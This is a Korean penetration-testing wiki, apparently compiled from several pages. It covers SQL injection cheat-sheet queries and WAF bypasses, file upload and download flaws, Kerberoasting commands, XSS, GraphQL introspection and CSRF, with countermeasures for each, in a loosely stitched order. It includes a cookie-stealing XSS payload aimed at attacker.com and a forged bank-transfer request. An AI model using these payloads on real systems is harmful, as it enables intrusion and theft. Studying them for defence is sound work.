SELECT column_name FROM (SELECT rownum AS num, column_name FROM all_tab_columns WHERE table_name=<Table>)a WHERE a.num=N

# 레코드 순차 출력
SELECT <Column> FROM (SELECT <Column>, rownum AS num FROM <Table>)a WHERE a.num=N
# 버전 정보
SELECT @@version;

# 현재 데이터베이스
SELECT db_name();

# 전체 데이터베이스 그룹출력
SELECT string_agg(name, '***') FROM sys.databases;

# 전체 테이블 그룹 출력
SELECT string_agg(name, '***') FROM <Database>.sys.tables

# 전체 컬럼 그룹 출력
SELECT string_agg(name, '***') FROM <Database>..<Table>

# 특정 컬럼의 레코드 전체 그룹 출력
SELECT string_agg(<Column>, '***') FROM <Database>..<Table>

# 테이블 순차 출력
SELECT name FROM (SELECT name, ROW_NUMBER() over(order by name) AS
num FROM sys.tables)a WHERE a.num=N

# 컬럼 순차 출력
SELECT name FROM (SELECT name, ROW_NUMBER() over(order by name) AS num FROM sys.columns WHERE object_id = object_id(<Table>))a WHERE a.num=N

# 레코드 순차 출력
SELECT name FROM (SELECT *, ROW_NUMBER() over(order by name) AS num FROM <Table>)a WHERE a.num=N
# 버전 정보
SELECT version();

# 현재 데이터베이스
SELECT database();

# 전체 데이터베이스 그룹 출력
SELECT group_concat(table_schema, '***') FROM information_schema.schemata;

# 전체 테이블 그룹 출력
SELECT group_concat(table_name, '***') FROM information_schema.tables WHERE table_schema = <Database>;

# 전체 컬럼 그룹 출력
SELECT group_concat(column_name, '***') FROM information_schema.columns WHERE table_schema = <Database> AND table_name = <Table>;

# 특정 컬럼의 레코드 전체 출력
SELECT group_concat(<Column>, '***') FROM <Table>; 

# 테이블 순차 출력
SELECT table_name FROM information_schema.tables 
WHERE table_schema=(select database()) limit N,1

# 컬럼 순차 출력
SELECT column_name FROM information_schema.columns WHERE table_schema=<Database> AND table_name=<Table> limit N,1

# 레코드 순차 출력
SELECT <Column> FROM <Table> limit 0,1;​

공격 기법

Blind SQLi

Blind SQLi는 참/거짓에 대한 결과를 알 수 없는 상태에서 사용합니다. 일반적으로 참/거짓에 대한 결과의 차이가 보여지는 경우에는 출력하는 레코드를 조건문에 따라 다르게 분기하여 확인할 수 있습니다.

SELECT * FROM users WHERE idx=(case when 1=1 then 1 else 0 end);

하지만 참/거짓에 대한 결과의 차이가 보여지지 않는 경우 또한 있을 수 있는데 이때는 의도적인 오류 발생과 블라인드 쿼리를 연계하여 공격이 가능합니다.

프로그램 실행 오류에는 컴파일 오류와 런타임 오류 2가지가 존재합니다. 컴파일 오류는 쿼리의 실행 여부에 무관하게 컴파일되는 시점에 오류가 발생하기 때문에 반드시 해당 쿼리는 정상적으로 실행되지 않습니다. 반면 런타임 오류는 실행 시점에서 오류가 발생한다면 오류 결과를 반환하기 때문에 컴파일 과정에서 오류가 발생하지 않습니다.

이러한 특성을 이용하여 런타임 과정에서만 오류가 발생하는 쿼리를 생성하여 조건문이 분기됨에 따라 실행될 경우에만 오류가 발생하도록 의도하면 특정 조건에 부합할 때만 커스텀 에러 페이지로 리디렉션 될 것입니다.

SELECT * FROM users WHERE idx=(case when 1=2 then (SELECT 1 UNION SELECT 2) else (SELECT 1) end)

상위 쿼리에서는 조건문의 결과를 idx 컬럼에 삽입하는 상황입니다. 조건문이 참이 된다면 2개의 레코드 반환하게 되어있고, 거짓이 된다면 1개의 레코드를 반환하도록 되어있습니다.

Time Based SQLi

쿼리 결과 반환의 시간 차이를 이용하여 데이터를 탈취하는 Time Based SQLi는 참/거짓의 결과를 직접적으로 확인할 수 없다는 것에서 Blind SQLi의 일종으로 취급됩니다. 의도적으로 시간을 발생시키는 쿼리는 DBMS 별로 약간의 차이가 존재하기 때문에 본 페이지에서는 Oracle, MSSQL, MySQL에 대한 시간 발생 방법을 다룹니다.

Oracle은 시간 차이를 발생시키는 함수가 기본적으로 PL/SQL 환경에서만 존재하기 때문에 의도적으로 연산 값을 올려 연산에 필요한 시간을 발생시키는 방법을 사용합니다. all_users 목록은 데이터베이스의 모든 유저 목록을 불러오게 되는데, FROM 절에 이것을 반복적으로 사용함에 따라 값을 증폭시킵니다.

SELECT * FROM users WHERE idx=1 AND (case when 1=1 then 1 else (SELECT count(*) FROM all_users A1, all_users A2, all_users A3, all_users A4) end) 

MSSQL에서 시간 차이를 발생시키는 방법은 WAITFOR DELAY입니다. 하지만 이 함수는 case when 구문에서 사용이 불가능하고 IF 구문에서만 사용이 가능합니다. 하지만 IF 구문은 서브쿼리에 사용이 불가능하기 때문에 기존 서버에 작성된 쿼리를 종료시켜준 이후, 새로운 쿼리로 만들어줍니다.

SELECT * FROM users; IF 1=1 WAITFOR DELAY '00:00:02';

MySQL에서는 시간 차이를 발생시키는 함수로 SLEEP를 사용합니다. 만약 서버에서 이 함수를 막아뒀을 경우 BENCHMARK 함수를 통한 시간 차이 발생도 가능합니다.

SELECT * FROM users WHERE idx=1 AND (case when 1=1 then sleep(2) else 1 end);
SELECT * FROM users WHERE idx=1 AND (case when 1=1 then benchmark(100000000,1) else 1 end);

Union Based SQLi

Union SQLi가 발생하는 환경은 SQLi 취약점이 존재하며 공격 페이로드를 실행했을 때 결과 값이 화면에 출력되거나, 혹은 어떠한 방법으로든 그 결과 값을 직접 확인할 수 있을 때 사용 가능합니다.

Union은 메인 쿼리에서 반환하는 레코드의 개수와 서브쿼리에서 반환하는 레코드의 개수가 동일해야지 컴파일 오류가 발생하지 않습니다. 때문에 서버 데이터를 탈취하는 페이로드를 작성하기 이전 기존 서버에서 작성된 메인쿼리의 반환 필드가 몇개인지 파악하는 것이 우선입니다.

출력된 필드 중 특정 컬럼을 기준으로 정렬하는 ORDER BY 구문은 컬럼 이름으로만 정렬하는 것이 아닌, 컬럼의 순서를 통해서 정렬하는 것이 가능한데 반환되는 필드보다 높은 숫자를 입력 시에 오류가 발생하는 특징이 있습니다. 예를 들어 다음과 같은 테이블이 있다고 해보겠습니다.

+--------+---------------+------+-----+---------+----------------+
| Field  | Type          | Null | Key | Default | Extra          |
+--------+---------------+------+-----+---------+----------------+
| idx    | int(11)       | NO   | PRI | NULL    | auto_increment |
| ssn    | varchar(20)   | NO   | UNI | NULL    |                |
| name   | varchar(50)   | NO   |     | NULL    |                |
| age    | int(11)       | NO   |     | NULL    |                |
| gender | enum('M','F') | NO   |     | NULL    |                |
+--------+---------------+------+-----+---------+----------------+

이때 idx, ssn, name, age, gender 이라는 컬럼은 순서대로 1,2,3,4,5 라는 숫자로 정렬이 가능합니다. 즉 3을 기준으로 정렬하면 name 기준으로 정렬이 되며, 2를 기준으로 정렬하면 ssn 기준으로 정렬됩니다. 하지만 존재하지 않는 6번을 기준으로 정렬하면 오류가 발생하게 되기 때문에 정렬 기준의 숫자를 높여감에 따라 오류가 발생하는 지점에서 컬럼의 개수를 파악할 수 있습니다.

다만 Oracle과 MSSQL의 경우 컬럼의 데이터 타입에 따라 대용량 데이터 타입일 경우엔 컬럼의 개수가 더 존재하는데도 오류가 발생할 수 있으니 오류가 발생한 숫자에서 -1을 한 값이 전체 컬럼의 개수라고 단정지을 수는 없습니다. 그래서 오류가 발생하더라도 숫자를 계속 높여가서 다른 결과는 보이지 않는지 파악하는 것 또한 중요합니다.

기존에 서버에서 이름, 나이, 성별만 출력해줄 때 주민등록번호를 출력하는 쿼리는 아래와 같이 만들 수 있습니다.

SELECT name,age,gender FROM users WHERE idx=1 UNION SELECT null,null,(SELECT ssn FROM users WHERE idx=1)

메인 쿼리에서 반환하는 레코드와 서브 쿼리에서 반환하는 레코드의 데이터 타입은 동일해야 합니다. 메인 쿼리에서 name, age, gender은 순서대로 문자열, 정수, 문자열이기 때문에 서브 쿼리에서 반환하는 필드의 데이터 타입도 문자열, 정수, 문자열이 와야 합니다.

하지만 null의 경우 데이터 타입에 의존하지 않기 때문에 필드의 개수를 맞출 때는 보통 DBMS와 상관없이 null 타입을 사용하며 사용자가 확인할 수 있도록 노출되는 필드를 파악한 뒤, 그곳에 공격 페이로드를 삽입합니다.

Error Based SQLi

Error SQLi는 서버에서 DBMS 오류에 따른 커스텀 에러 페이지를 생성하지 않고 오류에 대한 메시지가 그대로 노출되는 환경에서 사용 가능한 공격입니다. 오류 메시지는 디버깅 용도를 위해서 자세하게 출력해주기 때문에 공격자가 삽입한 문구가 메시지의 일부로 그대로 출력이 되고, 공격자는 탈취하고자 하는 정보를 오류가 발생하도록 실행하여 오류 메시지로부터 원하는 정보를 획득할 수 있습니다.

의도적으로 오류를 발생시키는 쿼리는 DBMS 별로 약간의 차이가 존재하기 때문에 본 페이지에서는 Oracle, MSSQL, MySQL에 대한 오류 발생 방법을 다룹니다.

SELECT CTXSYS.DRITHSX.SN(user,<DATA>) FROM dual;
SELECT convert(int,<DATA>);
SELECT case((SELECT <DATA>) as int);
SELECT updatexml(null,concat(0x0a,<DATA>),null);

Bypass

본 페이지에서는 WAF, 솔루션 등에서 차단하는 SQLi에 대한 우회 방법을 다룹니다.

문자열 우회

SELECT * FROM users WHERE name = 'admin';

실행하고 싶은 쿼리는 위와 같지만 서버에서 admin 글자를 차단할 때를 가정합니다.

concat

SELECT * FROM users WHERE name = concat('ad','min');

reverse

SELECT * FROM users WHERE name = reverse('nimda');

hex

SELECT * FROM users WHERE name = UTL_RAW.CAST_TO_VARCHAR2(HEXTORAW('416C696365'));
SELECT * FROM users WHERE name = CAST(0x416C696365 AS VARCHAR);
SELECT * FROM users WHERE name = 0x416C696365;
SELECT * FROM users WHERE name = 0x'416C696365';

연산자 우회

SELECT * FROM users WHERE idx=1 or 1=1;

실행하고 싶은 쿼리는 위와 같이 idx 값이 1인 레코드 외에 전체 레코드지만, 서버에서 연산자를 차단할 때를 가정합니다.

or

SELECT * FROM users WHERE 1 || 1;
SELECT * FROM users WHERE 1 & 1;
SELECT * FROM users WHERE 2 div 1
SELECT * FROM users WHERE name = 'admin' | 0;
SELECT * FROM users WHERE name = 1 xor 0
SELECT * FROM users WHERE name = 'admin' && 1;

equal

SELECT * FROM users WHERE idx LIKE 1;
SELECT * FROM users WHERE idx RLIKE 1;
SELECT * FROM users WHERE idx REGEXP 1;
SELECT * FROM users WHERE idx in (1);

공백 우회

SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT"name"FROM"users"WHERE"idx"=1;
SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT`name`FROM`users`WHERE`idx`=1;
SELECT * FROM users WHERE idx = 1=case(1=1)when(1=1)then(1)else(2)end;
문자
URL 인코딩

tab(\n)

%0a

Vertical tab(\v)

%0b

Form feed(\f)

%0c

Carrige return(\r)

%0d

대응 방안

  1. Prepare Statement 적용

  2. 화이트리스트를 이용한 사용자 입력값 검증

  3. 사용자 입력값 길이 제한 설정

SQLi 공격은 Prepare Statement 조치만으로도 대부분의 공격은 차단됩니다. 하지만 사전 컴파일 작업을 통해 데이터를 코드가 아닌 문자 자체로 인식시켜서 취약점을 없애는 Prepared Statement는 정렬(ORDER BY)과 같은 입력값을 방어하지는 못합니다. 따라서 화이트리스트를 통한 입력값 검증과 입력값 길이 제한 등을 통해 보안 조치가 가능합니다.

File Upload

파일 업로드 취약점은 악성 코드가 담긴 파일을 서버의 웹 디렉토리 상에 업로드 함으로써 악성 파일을 통한 내부 정찰, 정보 수집, 리버스 쉘 연결 등의 행위를 가능케 하는 공격입니다.

전제 조건

파일 업로드 공격 프로세스에 대해서 다루기 이전에 파일 업로드 공격이 성공하기 위해서 반드시 충족되어야 하는 조건에 대해 알아보겠습니다. 즉 공격자는 웹쉘이나 리버스 쉘을 업로드 하는데 성공할 수는 있어도 아래 4가지 조건을 모두 충족하는 환경이 아니라면 그 파일을 악용할 수 없습니다.

  1. 공격자는 본인이 업로드한 파일이 어떤 이름으로 업로드 되었는지 알 수 있어야 한다.

  2. 공격자는 파일이 업로드 된 경로를 알아야 한다.

  3. 악성 파일이 업로드 된 경로가 웹 디렉토리 하위에 위치해야 한다.

  4. 악성 파일의 스크립트 실행 권한이 존재해야 한다.

가장 중요하다고 생각될 수 있는 서버 사이드 언어와 호환되는 확장자 (php, jsp 등)이 필수 조건에 포함되지 않는 이유는, LFI 취약점이 웹 서비스에 동시에 존재할 경우 png, jpg와 같은 사진 파일 확장자로도 소스코드 실행이 가능하기 때문입니다.

파일 이름 & 파일 경로

오늘날 대부분의 웹 서버들은 이용자들이 업로드한 파일의 이름을 그대로 업로드 하지 않습니다. 보편적인 방법으로는 파일 업로드 시각을 ms 단위로 변환하여 업로드 하거나 특정한 이름을 추가하는 등의 방식을 취합니다. 따라서 공격자는 웹쉘이나 리버스 쉘을 업로드 하는데 성공하더라도 실행하기 위해 그 경로와 파일 이름을 알지 못하면 악용할 수가 없습니다.

웹 디렉토리

업로드 경로가 웹 디렉토리가 아닌 경우, URL을 통해서 접근 가능한 최대 상위 경로는 웹 디렉토리 최상위 경로일 뿐이지, 다른 경로로 벗어나는 것은 기술적으로 어렵습니다. 예를 들어서 C 드라이브 하위에 있는 웹 디렉토리가 아닌 다른 디스크 하위에 업로드 파일을 저장하여 관리한다면 실행을 위해 접근하는 것이 불가능합니다.

스크립트 실행 권한

기본적으로 웹 서비스 내에서 LFI 취약점이 발견되지 않는다는 가정 하에 파일 업로드 공격을 성공하기 위해서는 스크립트 실행 권한이 있어야 합니다.

스크립트 실행 권한이 없다면 웹쉘에 접근하더라도 웹쉘 제작에 사용된 소스코드만 노출될 뿐 웹쉘 자체를 동적으로 사용하지 못합니다.

이렇게 소스 코드가 동작하지 않는 이유는 htaccess 파일의 설정에서 핸들러 속성이 text/html로만 설정되어 있기 때문입니다.

예외 사항

스크립트 실행 조건을 제외한 3가지 조건이 만족되는 환경에서도 웹쉘 혹은 리버스쉘을 실행시키는 방법이 존재합니다. 웹 서비스에 LFI 취약점이 동시에 존재한다면 스크립트 실행 권한이 없거나 혹은 확장 파일이 jpg와 같은 실행 권한이 없는 확장자일지라도 웹쉘의 실행이 가능합니다.

대응 방안

  1. 업로드 파일 이름 난독화

  2. 추측하기 어려운 디렉토리 이름 사용

  3. 웹 디렉토리가 아닌 경로로 업로드 디렉토리 지정

  4. htaccess 등의 파일을 통한 스크립트 실행 권한 제거

이 외에도 근본적으로 파일 업로드 공격을 방어하기 위해서 파일 업로드를 처리하는 소스코드 내에서 화이트 리스트 방식을 통해 확장자 검증을 할 수 있습니다. 일부에서는 파일의 크기를 검사하는 방법을 대응 방안으로 제안하지만, 1줄짜리 코드로도 웹쉘을 실행할 수 있는 One-Line 웹쉘도 존재하므로 적절한 조치는 아닙니다.

88 - Kerberos

커버로스 프로토콜이 실행중인 곳에서 유저 계정 정보를 획득하거나 AS-REP-Roasting 공격에 취약한 계정을 발견했다면, 도메인 내에 등록된 SPN 목록 혹은 등록된 계정 이름을 통해서 발급 가능한 ST를 획득할 수 있습니다.

# 명령어 양식
impacket-GetUserSPNs <Domain/USER:PASS> -request -dc-ip <DC-IP>

# 실습
impacket-GetUserSPNs pentesting.wiki/wiki:password123! -request -dc-ip 10.0.2.10
# 명령어 양식
crackmapexec ldap <IP> -u <USER> -p <PASS> --kerberoasting kerberoas.txt

# 실습
crackmapexec ldap 10.0.2.10 -u wiki -p password123! --kerberoasting kerberoas.txt

File Download

파일 다운로드 취약점은 웹 애플리케이션에서 파일을 다운로드 하는 기능이 존재할 때, 공격자가 이를 악용하여 본래 의도를 벗어난 파일을 다운로드 하는 공격 기법입니다. 간혹 LFI 공격과 파일 다운로드 공격이 유사하여 두 공격을 동일시 여기는 경우가 있으나 파일 다운로드와 LFI는 본질적으로 다른 공격입니다.

파일 다운로드 공격은 단순히 서버의 자원을 다운로드 하는 행위에 불과하지만 LFI는 해당 위치의 파일을 실행하여 읽는 것이기 때문입니다. 따라서 웹쉘 확장자가 png로 되어있으며, 웹 디렉토리 하위에 스크립트 실행 권한이 없는 상태에서도 png 확장자의 스크립트 코드가 담긴 파일을 올린다음 LFI 취약점을 이용하여 해당 파일을 읽게 되면 스크립트가 실행되는 것을 확인할 수 있습니다.

Case Study

Parameter 형태

파일 다운로드 취약점 중 가장 흔하게 떠올릴 수 있는 형태의 로직입니다. 공격자는 http://target.com/download.php?file=../../../etc/passwd 와 같이 파일 이름을 요구하는 파라미터에 경로이동 문자 등을 삽입하여 경로를 변조한 뒤, 서버에서 의도하지 않는 민감한 파일까지 다운로드를 하는 공격 형태입니다.

DBMS 형태

DBMS를 이용한 파일 다운로드 로직은 다운로드 할 파일의 이름을 파라미터에 직접 삽입하는 대신 데이터베이스의 파일 목록에서 인덱스 컬럼의 값을 가져와서 파일을 찾는 방식입니다. 일반 사용자들은 http://target.com/download.php?file=98 과 같이 서버에 파일 이름이 아닌 98이라는 인덱스 값을 요구합니다. 그러면 데이터베이스에서 98번 인덱스와 매치되는 파일의 이름 혹은 경로를 찾은 뒤, 업로드 디렉토리에서 해당 파일을 가져오는 형식입니다.

만약 이 과정에서 파라미터를 입력하는 부분에 적절한 보안 조치가 이뤄지지 않아 SQL Injection 공격이 발생한다면, 공격자는 UNION 공격 등을 통해서 상위 경로로 이동하는 문자를 입력할 수 있습니다.

대응 방안

  1. 화이트리스트를 통한 입력값 검증

  2. 다운로드 허용 확장자 설정

파일 다운로드 공격을 방어하기 위해서는 근본적으로 경로 이동 문자를 차단할 수 있습니다. 화이트리스트 방식을 적용하여 사용자들이 이용에 불편함이 없는 선에서 공격에 악용 가능한 모든 특수문자를 차단하거나, 다운로드 할 수 있는 파일 확장 형태를 정의합니다. 예를 들어, 사용자 게시판에서 업로드 로직을 png, jpg 등의 사진 파일 확장자만 허용했다면 게시판에서 다운로드 하는 기능 역시 png, jpg만 구현해도 이용에 불편함이 없을 것입니다.

XSS

XSS는 자바스크립트를 이용하여 다른 사용자의 민감 데이터를 탈취하는 클라이언트 공격입니다. XSS는 공격 과정에 따라 다양한 종류로 나뉘지만, 이번 장에서는 대표적인 2가지 기법을 다룹니다.

Stored XSS

Stored XSS는 주로 웹 사이트의 게시판, 댓글 등과 같이 게시한 이후 다른 사용자들도 확인할 수 있는 공간에서 발생합니다. 공격자는 게시판과 같은 공간에 악성 코드를 작성한 뒤 다른 사용자가 해당 링크를 클릭하기를 기다립니다.

링크를 클릭한 사용자는 자바스크립트 코드 실행에 의해 공격자의 웹서버로 접속하게 되며, 이때 자신의 쿠키 데이터를 함께 전송합니다. 공격자는 자신의 웹 서버 로그에 기록된 사용자들의 쿠키 정보를 통해 계정 정보 없이도 피해자의 계정을 사용할 수 있습니다.

Stored XSS가 성공하기 위해서는 다음 조건이 요구됩니다.

  1. XSS 공격에 취약한 저장 폼(게시판, 댓글, 회원 아이디 출력칸 등)

  2. 저장된 악성 스크립트를 다른 사용자가 확인할 수 있어야 한다.

자바스크립트를 실행시키는 것은 가능하지만, 마이페이지 등과 같이 다른 사용자들이 조회하지 못하는 공간에서 일어나는 XSS를 Self XSS라고도 부릅니다. Self XSS는 그 자체로는 취약점이 아니지만, 다른 취약점 혹은 방법과 연계하여 Stored XSS로의 발전 가능성이 있습니다.

Reflected XSS

Reflected XSS는 악성 코드를 저장하는 방식이 아닌, 반사형 공격입니다. 사용자 매개변수가 응답 페이지의 페이지 소스에 노출되며, 이때 매개변수를 처리하는 메소드가 GET 방식이며 입력값 검증에 취약할 경우 공격자는 매개변수에 자바스크립트 코드를 삽입하여 다른 사용자에게 링크를 전달함에 따라 다른 사용자들의 민감 데이터를 탈취할 수 있습니다.

Reflected XSS에 취약한 주소가http://target.com/board.php?context라고 가정할 때, 공격자의 주소인 http://attacker.com으로 쿠키가 탈취되는 페이로드 예시는 다음과 같습니다.

대응 방안

  1. 사용자 입력값 HTML 엔티티 적용

  2. 사용자 입력값 화이트리스트 검증

  3. HTTP Only 속성 적용

  4. CSP 정책 설정

XSS는 자바스크립트 실행만 시키지 못하게 한다면 방어가 가능한 공격입니다. 사용자들이 HTML 코드를 직접 작성할 수 있는 공간이 아니라면 HTML 엔티티 함수를 적용하거나 입력값 화이트리스트 검증 등을 통하여 방어할 수 있습니다. 또한 HTTP Only 속성과 CSP 정책 등을 통한 쿠키 보호를 할 수 있습니다.

GraphQL

GraphQL은 Rest API와 서로 다른 방식으로 동작하기 때문에 종종 비교 대상이 됩니다. 우선 GraphQL이 오늘날 많이 사용되는 이유와 공격에 대해 배우기 전, 동작 방식을 알아야 합니다.

Rest API

Rest API 방식은 PUT,READ,GET 등의 HTTP 메소드와 여러 엔드포인트를 사용해야 하며, 여러 엔드포인트를 구성하지 않는다면 필요한 정보만을 추출하는 것은 어렵습니다. 다양한 엔드포인트를 구축하여 필요한 정보만을 질의하여 응답받거나, 단일한 엔드포인트를 구축하여 필요 이상의 정보를 질의하여 응답받을 수 있습니다.

이로 인해 개발 과정에서 여러 엔드포인트를 관리해야 한다는 관리적 측면의 문제와, 필요 이상의 데이터들을 반환한다는 점에서 Overfetching이 발생하여 비용적 문제가 발생합니다. 예를 들어 특정 인물에 대한 데이터를 반환을 요청할 때 Rest API는 다음과 같이 동작합니다.

GraphQL

이에 반면 GraphQL은 단일화된 엔드포인트와 단일화된 HTTP 메소드인 POST만 사용하고도 클라이언트가 원하는 특정 데이터만을 출력하는 것이 가능합니다. 결정적인 차이점은 특정 데이터를 출력하기 위해 Rest API는 다양한 엔드포인트를 구성해야 하는 반면, GraphQL은 다양한 쿼리를 JSON 형태로 질의해야 한다는 것이 있습니다.

아래의 GraphQL을 통한 사용자 데이터 출력 예시를 보면, Rest API의 질의와는 다르게 쿼리에서 이미 대상을 특정하며, 그 대상의 모든 정보가 아닌 필요한 정보만 질의하는 것이 확인됩니다.

일반 사용자들을 하나씩 놓고 봤을 땐 데이터적인 측면에서 손실이 크다고 생각되지 않을 수 있으나, 하나의 테이블이 아닌 여러개의 테이블을 출력하는 상황과, 재귀적인 서브 필드가 존재하는 상황일 수록 장점이 더욱 명확하게 나타나기 때문에, 오늘날 새로 개발되는 서버들은 대부분 GraphQL을 사용합니다.

GraphQL은 SQL과 같은 데이터베이스와 다르게 질의 시 반드시 명시해야 하는 Non-Null 필드가 있습니다. 이러한 필드는 사용자가 다른 사용자의 특정 데이터를 알지 못하는 환경에서 모든 사용자의 데이터를 무작위로 출력하는 것을 방지해주기도 합니다. 이것이 GraphQL에서 스키마에 대해 질의할 수 있는 Introspection 기능이 있어도 안전한 이유입니다. 다음은 GraphQL의 모든 쿼리 스키마 구조를 파악하는 쿼리입니다.

위 사진은 실습 서버의 GraphQL 구조를 그래프화 한 결과입니다. users 필드는 필수적으로 요구되는 서브필드가 없는 반면, user 필드는 username이 서브필드가요구되는 것을 확인할 수 있습니다. 아래와 같이 필수적으로 실제 값의 요구가 없는 테이블의 경우 모든 데이터를 출력하는 것이 가능하지만 반대의 경우 오류 메시지를 통해 값이 요구된다는 것을 확인할 수 있습니다.

GraphQL은 객체 지향적 구조를 갖고 있는 언어이기 때문에 SQL의 컬럼과는 다른 개념을 가집니다. 예를 들어 SQL에서 컬럼에 대한 공유는 JOIN을 통한 외래키 참조가 있지만 GraphQL에서는 서브 필드들을 하나의 객체로 만들어서 여러개의 루트 필드가 공유하고 있습니다. 따라서 Injection 포인트가 발견되었을 시, 일반적인 SQLi 접근 방법처럼 메타데이터를 출력하고 해당 필드에 있는 서브필드가 무엇인지 탐색하고 추적할 필요가 없습니다. 단지 인트로스펙션 쿼리를 통한 전체 필드를 출력한 뒤, Voyager를 통해 구조를 파악할 수 있습니다.

Mutation

GraphQL에서 데이터를 입력하는 쿼리를 뮤테이션이라고 합니다. 뮤테이션 쿼리를 사용하여 새로운 객체를 생성하거나, 업데이트 및 삭제 등이 가능합니다. 앞서 살펴본 인트로스펙션 쿼리는 전체 쿼리와 필드 스키마 정보를 출력했다면, 아래의 인트로스펙션 쿼리는 전체 뮤테이션에 관련된 스키마 정보를 출력하는 명령입니다.

위 사진은 서버의 뮤테이션 목록을 질의한 결과입니다. 현재 서버에선 registerUser 이라는 뮤테이션이 유일하게 있습니다. 데이터 삽입을 위해 쿼리 필드인 객체들과 동일하게, 뮤테이션 객체도 필드 목록을 확인해야 합니다. 또한 뮤테이션 쿼리를 실행하기 위해서는 어떤 루트 필드에 삽입해야 하는지도 명시해야 합니다. 만약 registerUser라는 뮤테이션의 입력값이 user 루트 필드가 아닌, board 등의 다른 루트 필드로 명시한다면 오류가 출력됩니다.

현재 실습 서버의 registerUser 뮤테이션은 유저 정보를 그대로 삽입하는 것이 아니라 user 객체 필드를 사용하여 그 안에 데이터를 삽입하기 때문에 쿼리에서 user 객체 안에 데이터를 삽입해야 합니다. 뮤테이션에 데이터를 삽입할 때 객체가 요구되는데도 사용하지 않으면 오류 메시지를 통해서 객체의 이름을 오류 코드에서 힌트로 알려줍니다.

질의를 할 때는 뮤테이션 함수가 아닌 뮤테이션 객체 값을 질의해야 합니다. 뮤테이션 함수는 뮤테이션 시에 사용하는 registerUser 라는 그 자체의 개발자가 정의한 함수이고, 뮤테이션 객체는 함수 실행 후, 그 함수의 결과가 반환하는 객체 타입입니다. registerUser 함수는 결국 user 루트 필드에 데이터를 삽입하게 되므로 RegisterUser 객체에는 루트 필드 user 를 가리키고 있습니다. 이제 뮤테이션 객체와 함수, 반환되는 루트 필드를 모두 파악한 후에는 데이터 삽입이 가능합니다.

References

WAX 파일 확장자: 그것은 무엇이며 그것을 어떻게 열 수 있습니까?
Media - Vulnlabdaz
권한 오류로 인해 접근 불가능한 /etc/passwd
안전한 버전에서 경로 이동 문자 삽입 시 홈페이지로 리다이렉션
다운로드에 성공한 /etc/passwd
다운로드에 성공한 /etc/shadow
새 문서에 대한 자동 실행 매크로 제작
매크로 생성 창
매크로에 의해 실행된 메모장
코발트 스트라이크 파워쉘 코드 생성
생성한 파워쉘 코드를 매크로 실행 인자로 전달
웹 서버의 macro 디렉토리에 파워쉘 코드를 삽입
파워쉘 파일 다운 후 비콘에 추가된 피해자 PC
템플릿 문서 생성
호스트 파일 지정
문서 생성
생성한 문서 압축파일 열기
settings.xml.rels 파일

GraphQL은 엔드포인트에 요청 시 모든 스키마 구조를 반환해주는 명령어가 있습니다. 이러한 명령을 Introspection이라고 부르며 에서 제공하고 있습니다.

http://target.com/board.php?content=<script>document.location='http://www.attacker.com?cookie='+document.cookie;</script>
// REST API request
GET, https://example.com/api/people/1

// REST API response
{
    "name": "Luke Skywalker",
    "height": "172",
    "mass": "77",
    "hair_color": "blond",
    "skin_color": "fair",
    "eye_color": "blue",
    "birth_year": "1998",
    "gender": "male",
  
}
// GraphQL request
query {
    person(personID: 1) {
        name
        height
        mass
    }
}

// GraphQL response
{
    "data": {
        "person": {
            "name": "Luke Skywalker",
            "height": 172,
            "mass": 77
        }
    }
}
# 전체 쿼리 스키마 출력 쿼리 
query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } } }
# 전체 뮤테이션 스키마 출력 쿼리
{ __schema { mutationType { fields { name args { name type { kind name ofType { kind name } } } type { name } } } } }

# 뮤테이션 쿼리 사용 시 요구되는 필드 조회 쿼리
{ __type(name: "<Mutation Object>") { name inputFields { name description defaultValue } } }
{ __type(name: "<Mutation Object>") { fields { name type { name kind } } } }
mutation {
  registerUser(input: {
    username: "Wiki",
    password: "Password123!",
  }){ user {
    username
    password
    }
  }
}
Logo
Non-null 서브필드가 없는 users 필드 전체 데이터 조회
Non-null 서브필드가 있는 user 필드 전체 데이터 조회 시 오류
GraphQL Voyager
https://www.linkedin.com/pulse/what-impact-successful-sql-injection-attack-abhinav-anand-
https://dataportal.kr/Java-Compiler-Optimization/

CSRF

CSRF 공격은 서로 다른 사이트 간의 요청 변조 공격입니다. 공격이 성공하기 위한 전제 조건은, 피해자의 세션에서 자동으로 실행되도록 작성한 공격자의 악성 코드에서 타겟의 사이트에 대한 유효한 세션을 피해자가 가지고 있어야 합니다.

예를 들어서 공격자는 자신이 만든 사이트의 이미지 태그 속성에 아래와 같은 악성 코드를 삽입했습니다.

<img src="https://bank.com/transfer?to=attacker_account&amount=100000">

해당 자바스크립트 코드는 https://bank.com/transfer 로 접속하여 attacker_account 계정을 향해 100000원을 송금하도록 하는 코드입니다. 하지만 피해자가 https://bank.com 사이트에 대한 유효한 세션이 없거나 혹은 이용자가 아니라면 공격이 성립하지 않습니다.

대응 방안

  1. Referer 헤더 검증

  2. CSRF 토큰 사용

  3. 캡차 인증 도입

  4. 비밀번호 변경 시, 기존 비밀번호 입력 등의 2차 인증 도입

CSRF는 공격자의 링크를 클릭함에 따라 피해자 본인도 인지하지 못한 요청을 수행하는 공격으로 Referer 헤더는 자연스럽게 공격자의 링크로 설정됩니다. 이에 따라 Referer 헤더 값만 검증하더라도 간단하게 방어할 수 있지만 추가적인 보안 대책으로 송금, 패스워드 변경 등의 민감한 요청메시지에서는 1회성 토큰을 발급하여 토큰의 유효성 검증을 통해 방어할 수 있습니다. 비밀번호 변경과 같은 동작에서는 비밀번호 변경 시 기존의 비밀번호를 입력해야만 변경이 가능하거나, 캡차 인증과 같은 보안 기술을 도입하여 안전하게 처리할 수 있습니다.

SSRF

SSRF는 공격자가 직접적으로 접근하지 못하는 서버의 자원 혹은 외부 자원에 대하여 서버를 통해 대신 요청하여 정보 수집, DDoS, 데이터 탈취가 가능한 공격입니다.

